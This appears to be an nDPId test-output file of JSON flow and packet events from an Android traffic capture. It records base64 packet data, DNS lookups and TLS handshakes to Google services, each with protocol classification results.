+00694{"flow_id":31,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":936798,"pkt_caplen":261,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":261,"pkt_l4_len":227,"pkt":"xiwDYGpkTGr2n\/YnCABFAAD3PHFAAEAGe\/vAqAIQrNkSA5AYAbuCdQgtxrmESoAYAVdmqgAAAQEICv\/\/NK1Rt9ThFgMBAL4BAAC6AwPJiz4b6rt+LTNT4uSDXUKsbprZa0zZMc753ZkGH\/Y+XwAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAAB1\/wEAAQAAAAAiACAAAB1jb25uZWN0aXZpdHljaGVjay5nc3RhdGljLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABAACwAJCGh0dHAvMS4xAAsAAgEAAAoACAAGAB0AFwAY"} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":153,"source":"android.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":4,"flow_first_seen":1582454868511,"flow_last_seen":1582454868936,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":32,"flow_max_l4_data_len":227,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.18.3","src_port":36888,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"ConnectivityCheck"},"tls": {"version":"TLSv1.2","client_requested_server_name":"connectivitycheck.gstatic.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00428{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454868,"pkt_ts_usec":964867,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0ft4AAHYGRFGs2RIDwKgCEAG7kBjGuYRKgnUI8IAQAPAwPAAAAQEIClG31Vr\/\/zSt"} +01608{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":31105,"pkt_caplen":938,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":938,"pkt_l4_len":904,"pkt":"TGr2n\/YnxiwDYGpkCABFAAOcfwwAAHYGQLus2RIDwKgCEAG7kBjGuY9egnUI8IAYAPA2mQAAAQEIClG31Zz\/\/zStIxL\/0iR\/1C\/nRGpbTddQZrCvnkJjBfvgHMRjYa+fajP\/Ype9SNnTfBRn3HXcLmno+G14adC3EAW48THCOyT9GjN0+CPg7GsZihbG482kzQvbs6RZYDiIO60ducaMp1Mb\/LzZpKu83Txh15MVmO6BvY\/iZEcgQAZO16yX6LnAWRKhSSUj5O1wNCyltGN8+aM9g9HNbSSsBwIDAQABo4IBMzCCAS8wDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjASBgNVHRMBAf8ECDAGAQH\/AgEAMB0GA1UdDgQWBBSY0fhuEOvPm+xgnxiQG6DrfQn9KzAfBgNVHSMEGDAWgBSb4gdXZxwewGoG3lm0mi3f3BmGLjA1BggrBgEFBQcBAQQpMCcwJQYIKwYBBQUHMAGGGWh0dHA6Ly9vY3NwLnBraS5nb29nL2dzcjIwMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5wa2kuZ29vZy9nc3IyL2dzcjIuY3JsMD8GA1UdIAQ4MDYwNAYGZ4EMAQICMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vcGtpLmdvb2cvcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBABqAPjZ5+\/MuqUY3fV5UFjWux04Imf690TRpJlJmBz0KuknLYvTxGo78EU9olkx0K9Nn3rKjqgWNhE1MIGUPpZbaDRb4bDvbbwQjiGs6bMFgvWifcY7uLVg0B\/DVVOmGWf17Xg0hlPWMyaj42PKtzA8a85qnqQQn+aPJsP8CeGthusc1K+hW+k\/DHAzttjy0S+rtzOE87NwNjNY+m8pCWIvMFiEXQLyi1mbv2sQVW82JqpsJJucy0g1uZyACWxCwkAmcDB+erdg76qH8bOgQXAhSGVEqcbuserXdFe0ryQgqLIq0piGrY\/\/XUklQ0Im3rfKv+1CuL+GVDfNGrZ2c9coWAwMAcwwAAG8DAB0gi6uZsWfHiezSwbfq6DRkDn564CwchFJEx\/azysIlHjYEAwBHMEUCIFRKBiPbEC5Dn7ixMjVQzTFM1ptS4NLE6u7J5XY1wxXyAiEAjA1+D2yIXZT6j6vjd4XWqrnNsy8f+R33JV6fuBgC91cWAwMABA4AAAA="} +00443{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":32347,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkTGr2n\/YnCABFAABAPHJAAEAGfLHAqAIQrNkSA5AYAbuCdQjwxrmESrAQAV1KBwAAAQEICv\/\/NMVRt9VaAQEFCsa5j17GuZLG"} +02329{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":61332,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+fxIAAHYGPpOs2RIDwKgCEAG7kBjGuYRKgnUI8IAQAPDguAAAAQEIClG31bn\/\/zTFFgMDAE4CAABKAwNeUlhU5eGabw103pj025qTOj2ytXcB\/91ET1dOR1JEAQDAKwAAIgAXAAD\/AQABAAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEWAwMNowsADZ8ADZwACUgwgglEMIIILKADAgECAhEA7t5lYM01wK8CAAAAAFlxtzANBgkqhkiG9w0BAQsFADBCMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMRMwEQYDVQQDEwpHVFMgQ0EgMU8xMB4XDTIwMDIxMjExNDcxMVoXDTIwMDUwNjExNDcxMVowZjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxEzARBgNVBAoTCkdvb2dsZSBMTEMxFTATBgNVBAMMDCouZ29vZ2xlLmNvbTBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABMqMT0i7BQw1shsKaI5LVdYjbI8UtqdK0sgAO6ZqOc+YesQP7j9s8prcdd5wziE9Ucvw6CrBVha95mxLo50X0+qjggbaMIIG1jAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH\/BAIwADAdBgNVHQ4EFgQUJG03UAoCuTPcqUYyl+EtiRo8WRgwHwYDVR0jBBgwFoAUmNH4bhDrz5vsYJ8YkBug630J\/SswZAYIKwYBBQUHAQEEWDBWMCcGCCsGAQUFBzABhhtodHRwOi8vb2NzcC5wa2kuZ29vZy9ndHMxbzEwKwYIKwYBBQUHMAKGH2h0dHA6Ly9wa2kuZ29vZy9nc3IyL0dUUzFPMS5jcnQwggSdBgNVHREEggSUMIIEkIIMKi5nb29nbGUuY29tgg0qLmFuZHJvaWQuY29tghYqLmFwcGVuZ2luZS5nb29nbGUuY29tghIqLmNsb3VkLmdvb2dsZS5jb22CGCouY3Jvd2Rzb3VyY2UuZ29vZ2xlLmNvbYIGKi5nLmNvgg4qLmdjcC5ndnQyLmNvbYIRKi5nY3BjZG4uZ3Z0MS5jb22CCiouZ2dwaHQuY26CDiouZ2tlY25hcHBzLmNughYqLmdvb2dsZS1hbmFseXRpY3MuY29tggsqLmdvb2dsZS5jYYILKi5nb29nbGUuY2yCDiouZ29vZ2xlLmNvLmlugg4qLmdvb2dsZS5jby5qcIIOKi5nb29nbGUuY28udWuCDyouZ29vZ2xlLmNvbS5hcoIPKi5nb29nbGUuY29tLmF1gg8qLmdvb2dsZS5jb20uYnKCDyouZ29vZ2xlLmNvbS5jb4IPKi5nb29nbGUuY29tLm14gg8qLmdvb2dsZS5jb20udHKCDyouZ29vZ2xlLmNvbS52boILKi5nb29nbGUuZGWCCyouZ29vZ2xlLmVzggsqLmdvb2dsZS5mcoILKi5nb29nbGUuaHWCCyouZ29vZ2xlLml0ggsqLmdvb2dsZS5ubIILKi5nb29nbGUucGyCCyouZ29vZ2xlLnB0ghIqLmdvb2dsZWFkYXBpcy5jb22CDyouZ29vZ2xlYXBpcy5jboIRKi5nb29nbGVjbmFwcHMuY26CFCouZ29vZ2xlY29tbWVyY2UuY29tghEqLmdvb2dsZXZpZGVvLmNvbYIMKi5nc3RhdGljLmNugg0qLmdzdGF0aWMuY29tghIqLmdzdGF0aWNjbmFwcHMuY26CCiouZ3Z0MS5jb22CCiouZ3Z0Mi5jb22CFCoubWV0cmljLmdzdGF0aWMuY29tggwqLnVyY2hpbi5jb22CECoudXJsLmdvb2dsZS5jb22CEyoud2Vhci5na2VjbmFwcHMuY24="} +00443{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":62604,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkTGr2n\/YnCABFAABAPHNAAEAGfLDAqAIQrNkSA5AYAbuCdQjwxrmJ1LAQAWlECgAAAQEICv\/\/NM1Rt9W5AQEFCsa5j17GuZLG"} +02336{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":90055,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+fywAAHYGPnms2RIDwKgCEAG7kBjGuYnUgnUI8IAQAPCRQQAAAQEIClG31df\/\/zTNghYqLnlvdXR1YmUtbm9jb29raWUuY29tgg0qLnlvdXR1YmUuY29tghYqLnlvdXR1YmVlZHVjYXRpb24uY29tghEqLnlvdXR1YmVraWRzLmNvbYIHKi55dC5iZYILKi55dGltZy5jb22CGmFuZHJvaWQuY2xpZW50cy5nb29nbGUuY29tggthbmRyb2lkLmNvbYIbZGV2ZWxvcGVyLmFuZHJvaWQuZ29vZ2xlLmNughxkZXZlbG9wZXJzLmFuZHJvaWQuZ29vZ2xlLmNuggRnLmNvgghnZ3BodC5jboIMZ2tlY25hcHBzLmNuggZnb28uZ2yCFGdvb2dsZS1hbmFseXRpY3MuY29tggpnb29nbGUuY29tgg9nb29nbGVjbmFwcHMuY26CEmdvb2dsZWNvbW1lcmNlLmNvbYIYc291cmNlLmFuZHJvaWQuZ29vZ2xlLmNuggp1cmNoaW4uY29tggp3d3cuZ29vLmdsggh5b3V0dS5iZYILeW91dHViZS5jb22CFHlvdXR1YmVlZHVjYXRpb24uY29tgg95b3V0dWJla2lkcy5jb22CBXl0LmJlMCEGA1UdIAQaMBgwCAYGZ4EMAQICMAwGCisGAQQB1nkCBQMwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDovL2NybC5wa2kuZ29vZy9HVFMxTzEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHUAsh4FzIuizYogTodm+Su5iiUgZ2va+nDnsklTLe+LkF4AAAFwOXBpZwAABAMARjBEAiA+QN+Y1BC1iTg87rmcpsUM\/Gu24qPQtScwEkDt1exEhAIgQZ65pwiFU6WtL7WIBUDRTSLLJtQzSUb9E8H\/e+H3kv8AdwBep3P531bA57U2SH3QSeAyepGaDIShEhKEGHWWgXFFWAAAAXA5cGl4AAAEAwBIMEYCIQD9qpknf9RA9NTnDbJ1R740ilIoZ5axO70RNKA2ozIpDQIhAI1NyadJ74gUNJMOwgVolIAXXkoTlllaI+RlhpKJXQelMA0GCSqGSIb3DQEBCwUAA4IBAQB\/1D1o4bHjhENzzSVqw\/WiW7R1Yg4kZjli4Jx+LL27l0iKIq5Je3M7N9seKeytHKln9LJWcZKJU0ZbTMAspum0myuT9TCRUzlQySsFdd3w5wh0ORzaaMxfdFZXbP5bVcGkuC\/FdoNgnFFjfdJlif8ZWazQdGNT68dXSNYBrSWcZvTi6UHviVzyKRNF8NXQPkmfEGnd4JAhXr\/bNfKhYp\/n8vsemQpmKWuA2eO+1W3C8iCVQ2JaQUSEkOquDseMqEKLRl+Rqg9HWNZpZ7CJfxVEk9f8L9nc9fqQrRM3CB6E4nNwbo7jkwdkw9vcyse48vXjWRg69iSIEEw4VHtES7QNAAROMIIESjCCAzKgAwIBAgINAeO0mqGNiqmBJWlQuDANBgkqhkiG9w0BAQsFADBMMSAwHgYDVQQLExdHbG9iYWxTaWduIFJvb3QgQ0EgLSBSMjETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2lnbjAeFw0xNzA2MTUwMDAwNDJaFw0yMTEyMTUwMDAwNDJaMEIxCzAJBgNVBAYTAlVTMR4wHAYDVQQKExVHb29nbGUgVHJ1c3QgU2VydmljZXMxEzARBgNVBAMTCkdUUyBDQSAxTzEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDQGM9F1IvN05zkQO9+tN1pIRvJzzyOTHW5DzEZhD2ePCnvUA0Qk28FgICfKqC9EksC4T2fWBYk\/jCfC3R3VZMdS\/dN4ZKCEPZRrAzDsiKUDzRrmBBJ5wudgzndIMYcLe\/RGGFl5yODIKg="} +00556{"flow_id":32,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":254422,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACRsttAAEAGBffAqAIQrNkSA5AaAbtdpodXbuJ034AYAXhnDQAAAQEICv\/\/NOdPRk2lFgMDACUQAAAhIMBLX70949rUneLdAt6kQ7JUecdFpMbjPr2q5f9qci8IFAMDAAEBFgMDACgAAAAAAAAAAOKRcgWgMQ72eFonRygN442T7BhItab6pte3bmn49Wlb"} +00429{"flow_id":31,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":256242,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0PHRAAEAGfLvAqAIQrNkSA5AYAbuCdQjwxrmSxoAQAXQgbwAAAQEICv\/\/NP1Rt9XX"} +00827{"flow_id":32,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":287135,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFYnD0AAHYGJc6s2RIDwKgCEAG7kBpu4nTfXaaHtIAYAPB9EQAAAQEICk9GUFH\/\/zTnFgMDAOwEAADoAAGJvwDiAZR0wlJK56tqlFe1HOm0VA0hoNgd3WqRdt3VwNjJbABNFZ9zOd32WAw1h9XjV41RjhucVX7ApWvXZe5Zy+ti7+mo7AL9UE0iaxgA879V5c4wT1WxffCTNwn4rXks0Ez41Gfz8DZxFsum0C3k4EGCG4Jd5\/Rbzy4rsyMlDCqdSoUlFIJYawbJG2cjr8Rm+IAfDFYruos9nfazR2oqH\/hZ5w83F10f1D5Jzw1rluUTBwu8+qgbOURLuiVFYW4Lt2sayRdeUDmz3XRhiQmr8AfQi3w15FdrRfc2gQe7BuSdOSbMahQDAwABARYDAwAoAAAAAAAAAACZiErzXS0kd7\/KA9aEEAASjTiTXaFyZp7ND4tkNQ4v3w=="} +00784{"flow_id":32,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":288150,"pkt_caplen":327,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":327,"pkt_l4_len":293,"pkt":"xiwDYGpkTGr2n\/YnCABFAAE5stxAAEAGBU7AqAIQrNkSA5AaAbtdpoe0buJ2A4AYAYPsjgAAAQEICv\/\/NQVPRlBRFwMDAQAAAAAAAAAAAR4cFXslGpAZPuHoiPLlIlie7vqB6wq3xrA\/e6HrMCAQHz2AF8AbKO7FAUcqGUP7GLQ51xsck044J1hJDAPdfb27\/h7irFPkjP6rPostVsSj1gLzUkkjriCgLKhWHPXDK6UxDC7akrlGwl0ppS8gTqKGg747J9cJfIsuHktFX8IGsJ29ucQ6+0Bzp7lzmE8lCOe1j2cOeD7REoVaDT2u8RxWjfSuRKJfFQZzdl+7TBFRBZ5WoLQWO16D+nFqBLcAoN3m4QjwieOjfwnzwxDLCtoB\/Y4oDP5hUrPzeYkuWGrkZGwdD8BWg2421IjvNuTJ0v\/swtva+s2d"} +00827{"flow_id":32,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":319644,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFYnEgAAHYGJcOs2RIDwKgCEAG7kBpu4nYDXaaIuYAYAPTElQAAAQEICk9GUHL\/\/zUFFwMDAR8AAAAAAAAAAf5p\/XqVoeBC+89RVlKX4rcaaMrlscPRmbHbHRxgxdrCAvV7Bne5xeVb0z3OXOQSUekEx2NhtiTxgNtf+gZbcg2rrGIapFfoHSdPK85pjcY33U27qzDoZH6rmTKn0oNLHEOxgIFsh7Zjz+9+1La3Ysk1WnfhSHwvWekf4lnoZFJ\/utO+KzhHrFOGWJa7bRGdk6JA3vrXf5Ue4+xzpKV+LFwwIlFVbQEUV2SgiUt6kKI7R5pCkzI8qv6QhpzLdsxR\/pIWDlZNPuIn4vTpoCU9bDBhk9rUrqpEz7fwRpCAIxbJZIgKdE8X8C5MSucg5ZkhVqj2AdXsX3TE6x0vaZHw8CULR5IPoEidIq04D+FdVrsFgUiucXB6Ow=="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":165,"source":"android.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1582454869361,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39008,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":361238,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA+qnVAAEARCtjAqAIQwKgCAZhgADUAKv996DEBAAABAAAAAAAABW10YWxrBmdvb2dsZQNjb20AAAEAAQ=="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":165,"source":"android.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1582454869361,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39008,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"mtalk.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00462{"flow_id":34,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":363299,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"TGr2n\/YnxiwDYGpkCABFAABORPIAAEARsEvAqAIBwKgCEAA1mGAAOr6H6DGBgAABAAEAAAAABW10YWxrBmdvb2dsZQNjb20AAAEAAcAMAAEAAQAAANoABNjvJng="} +00674{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":166,"source":"android.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":2,"flow_first_seen":1582454869361,"flow_last_seen":1582454869363,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":42,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":50,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":39008,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"mtalk.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":168,"source":"android.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1582454869517,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.168.206","src_port":50384,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":517223,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8ooxAAEAGf8\/AqAIQrNmozsTQAbv86pehAAAAAKAC\/\/+fWQAAAgQFtAQCCAr\/\/zUtAAAAAAEDAwg="} +00442{"flow_id":35,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":556140,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA80VwAAHUGW\/+s2ajOwKgCEAG7xNCPRbjJ\/OqXoqAS6yAGLQAAAgQFZAQCCApmsf+J\/\/81LQEDAwg="} +00428{"flow_id":35,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":557517,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0oo1AAEAGf9bAqAIQrNmozsTQAbv86peij0W4yoAQAVceWQAAAQEICv\/\/NUhmsf+J"} +00682{"flow_id":35,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":614403,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"xiwDYGpkTGr2n\/YnCABFAADtoo5AAEAGfxzAqAIQrNmozsTQAbv86peij0W4yoAYAVd6YwAAAQEICv\/\/NVdmsf+JFgMBALQBAACwAwNEQVlrFj9Y47MgZ8vO8k2FXJJ0JJ\/6X8XoKgfa\/cCzYgAAHMArwCzMqcAvwDDMqMAJwArAE8AUAJwAnQAvADUBAABrAAAAGAAWAAATYXBwLW1lYXN1cmVtZW50LmNvbQAXAAD\/AQABAAAKAAgABgAdABcAGAALAAIBAAAjAAAAEAALAAkIaHR0cC8xLjEABQAFAQAAAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgE="} +00727{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":171,"source":"android.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":4,"flow_first_seen":1582454869517,"flow_last_seen":1582454869614,"flow_tot_l4_data_len":329,"flow_min_l4_data_len":32,"flow_max_l4_data_len":217,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.168.206","src_port":50384,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"app-measurement.com","ja3":"6ec2896feff5746955f700c0023f5804","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":172,"source":"android.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1582454869626,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":49510,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":626114,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8g2ZAAEAG9TXAqAIQ2O8meMFmFGxVMrY\/AAAAAKAC\/\/9vQQAAAgQFtAQCCAr\/\/zVZAAAAAAEDAwg="} +00430{"flow_id":35,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454869,"pkt_ts_usec":652270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA00aQAAHUGW7+s2ajOwKgCEAG7xNCPRbjK\/OqYW4AQAPAdlwAAAQEICmax\/+r\/\/zVX"} 